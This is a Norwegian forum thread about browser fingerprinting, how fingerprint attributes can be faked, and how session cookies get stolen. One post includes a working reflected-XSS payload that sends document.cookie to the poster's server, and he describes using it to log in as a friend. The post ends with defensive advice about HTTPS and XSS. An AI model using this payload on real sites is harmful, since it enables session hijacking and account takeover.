Gå til innhold

ProgrammeringsBaren! Småprat, om det du elsker!


Anbefalte innlegg

Videoannonse
Annonse

Your browser fingerprint appears to be unique among the 5,175,085 tested so far.

 

Samme resultat med og uten ScriptSafe i Chrome.

 

Var dog en ganske stor forskjell; med ScriptSafe påskrudd var det kun User Agent, HTTP_ACCEPT Headers og Cookies som ga noe info, resten viste "no javscript", og spesielt på Browser Plugins og System Fonts var det en respektabel mengde med informasjon. Spørs om ikke 5 millioner var et litt lite utvalg? Tviler på at User Agentn og HTTP_ACCEPT headern er så spesielle..(?)

Lenke til kommentar

 

Selv om den er unik vil den være triviell å fake, så jeg ser egentlig ikke poenget med det i et security-perspektiv.

 

Edit: Manglet et vesentlig ikke!

Mulig det. Kan du gi eksempel på hvordan det gjøres på triviell måte?

 

Det er jo bare å stille inn sitt system på samme måte som brukeren man skal impersonere:

 

User agent: stilles inn i nettleseren

HTTP_ACCEPT bør kunne stilles inn i nettleseren (mulig man må endre det i kilden og rekompilere)

Browser plugin details: bare å installere de pluginsene eller stille inn i kilden og rekompilere nettleseren

Time zone: bare å endre tidssonen på pcen sin.

Screen size: bare å endre oppløsning

System fonts: bare å installere disse fontene

Are cookies enabled? Bare å skru av/på cookies.

Supercookies test: Bør kunne slås av/på

Lenke til kommentar

Ja, kan man først lese ut IDen fra cookies, kan man som regel lese ut alt annet som gjør brukeren unik og også etterligne dette. Det er vanskelig å etterligne IPadressen, så enkelte systemer låser en innlogging til én IP. Men det er lite brukervennlig å logge ut en bruker hver gang han kobler på et nytt WiFi eller går med en telefon og bytter aksesspunkt. Så i praksis gjøres dette lite.
 
Så det viktigste er å hindre at noen får tilgang til din hemmelige IDen du har blitt tildelt. 3 vanlige måter å få tak i en slik på er:
Ukryptert internett (altså vanlig http, ikke https) sendes alt i klartekst. Alle som er i mellom deg og serveren du sitter på, vil derfor kunne lese ut all informasjon du sender (og mottar) og kunne etterligne deg. Og sitter man på åpne WiFi vil alle rundt deg kunne sniffe det du sender. Surfer du på diskusjon.no på et åpent WiFi og noen sitter i nærheten, vil de kunne logge inn som deg. Her vil de også kunne sniffe passordet ditt i det du logger inn, men det holder å stjele cookiesene dine.
 
Ellers er XSS vanlig, at man klarer å kjøre sitt eget script på andres sider. Nettlesere beskytter nemlig cookies, og sender de bare til riktige nettsider. Så i en request til diskusjon.no, sendes bare cookiesene som er satt av diskusjon.no, ikke de som er satt av google.com, så diskusjon.no får derfor ikke vite om din innlogging der. For å unngå denne sperren må man derfor få kjørt kode på den nettsiden man ønsker å få tilgang til en bruker hos. Selv om man ikke klarer å hacke systemet, kan man fortsatt klare å få inn litt kode som kjøres hos klienten (javascript).
Jeg fikk til det på en nettside en gang. Etter at man hadde gjort en handling, ble man videresendt til en url som var på formen

http://example.com?msg=Success!

og på nettsiden stod det da "Success!". Endret jeg beskjeden i URLen, endret også nettsiden seg. Skrev jeg

http://example.com?msg=<b>Success!</b>

ble beskjeded på nettsiden i fet skrift, noe som betyr at parameteret ikke ble validert og jeg i praksis kunne putte hva jeg ville der. Så da puttet jeg

http://example.com?msg=<script>document.location='http://minserver.com/lagreid?id=' + %2Bdocument.cookie</script>

Når jeg da gikk til den URLen ble scriptet kjørt på min maskin (jeg ble videresendt til en URL på en annen server med min hemmelige ID som paremeter). Så da var det bare å sende den URLen til folk, klikket de på den ville jeg få cookiene deres. Fordi et script som kjørte på example.com hadde tilgang til disse. Jeg spurte en kamerat om å få teste det på han, og det virket. Min nettside lagret IDen den fikk, og jeg stappet den inn i min nettleser og var plutselig innlogget som ham.

 

 

Ellers er det til tider sikkerhetshull i nettlesere som gjør at man kan lese ut cookies fra domener som man ikke egentlig skal, eller at man har virus på pcen, dumme extensions osv.

 

Så, surfer du på sider som ikke bruker https på åpent WiFi bør du bruke VPN, og ikke bruke et passord du bruker andre plasser. Lager du en nettside må du passe på XSS for å beskytte brukerne dine.

Endret av Matsemann
  • Liker 1
Lenke til kommentar

 

 

Selv om den er unik vil den være triviell å fake, så jeg ser egentlig ikke poenget med det i et security-perspektiv.

 

Edit: Manglet et vesentlig ikke!

Mulig det. Kan du gi eksempel på hvordan det gjøres på triviell måte?

 

Det er jo bare å stille inn sitt system på samme måte som brukeren man skal impersonere:

 

User agent: stilles inn i nettleseren

HTTP_ACCEPT bør kunne stilles inn i nettleseren (mulig man må endre det i kilden og rekompilere)

Browser plugin details: bare å installere de pluginsene eller stille inn i kilden og rekompilere nettleseren

Time zone: bare å endre tidssonen på pcen sin.

Screen size: bare å endre oppløsning

System fonts: bare å installere disse fontene

Are cookies enabled? Bare å skru av/på cookies.

Supercookies test: Bør kunne slås av/på

 

 

Ok, og hva med canvas fingeravtrykk som genereres ut fra hvilket grafikkkort og driver du har installert?

Lenke til kommentar

Hele poenget er jo at to besøkende tegner canvas på to forskjellige måter.

De tegner ikke canvas på forskjellige måter, de tegner canvas på forskjellige måter. Viktig forskjell. Så en strek kan være subtilt forskjellig.

 

Du kan vel ikke lure noen uten å ha samme maskinvare?

Selvsagt kan du det, hvis du har tilgang på bildet en slik maskinvare ville tegnet. Scriptet som tegner streker og tekst og sender resultatet tilbake må erstattes slik at det sender tilbake et ferdigtegnet bildet i steden for.

 

Sett at det er mulig, hvordan kan du vite hva nettsiden vil at du skal tegne?

F.eks. ved å selv fingerprinte maskina til den personen du later som om du er.

 

Lenke til kommentar

 

Hele poenget er jo at to besøkende tegner canvas på to forskjellige måter.

De tegner ikke canvas på forskjellige måter, de tegner canvas på forskjellige måter. Viktig forskjell. Så en strek kan være subtilt forskjellig.

 

Ja, det har du rett i.

 

Du kan vel ikke lure noen uten å ha samme maskinvare?

Selvsagt kan du det, hvis du har tilgang på bildet en slik maskinvare ville tegnet. Scriptet som tegner streker og tekst og sender resultatet tilbake må erstattes slik at det sender tilbake et ferdigtegnet bildet i steden for.

 

Sett at det er mulig, hvordan kan du vite hva nettsiden vil at du skal tegne?

F.eks. ved å selv fingerprinte maskina til den personen du later som om du er.

 

Jeg ser ikke noe som tilsier at det er "trivielt" å fake nettleserens fingeravtrykk, men det er en teoretisk mulighet og man bør støtte seg på konvensjonelle løsninger som SSL for å minske sjansen for at sesjon blir kapret til å begynne med. Regn ikke med at utviklere er paranoide i sin validering av sesjoner, man er heldig om passord saltes og ikke logges i klartekst.

 

Apropo, minste motstands vei. :D

 

security.png

  • Liker 1
Lenke til kommentar

Informasjonsteknologi og sikkerhet har vært et tema siden tidenes morgen*, og de som prøver og opprettholde sikkerhet vil alltid ligge bak - i hvert fall uten å bruke noe som matematisk sett gir kryptografisk mening.

 

Jeg driter i hva browseren min sier om meg og hva noen(tror) de tjener penger på, på bakgrunn av det. Hvis jeg av en eller annen grunn skulle øsnke å være anonym så bruker jeg deep web og applikasjoner som tillater tilgang til disse.

 

"Storebror ser deg" er for folk flest "storebror bryr seg ikke".

 

* siden IT ble et tema og ikke noe bare ca 5 institusjoner hadde behov for (google it om du ikke ser referansen, veldig kjent sitat)

  • Liker 1
Lenke til kommentar

Opprett en konto eller logg inn for å kommentere

Du må være et medlem for å kunne skrive en kommentar

Opprett konto

Det er enkelt å melde seg inn for å starte en ny konto!

Start en konto

Logg inn

Har du allerede en konto? Logg inn her.

Logg inn nå
×
×
  • Opprett ny...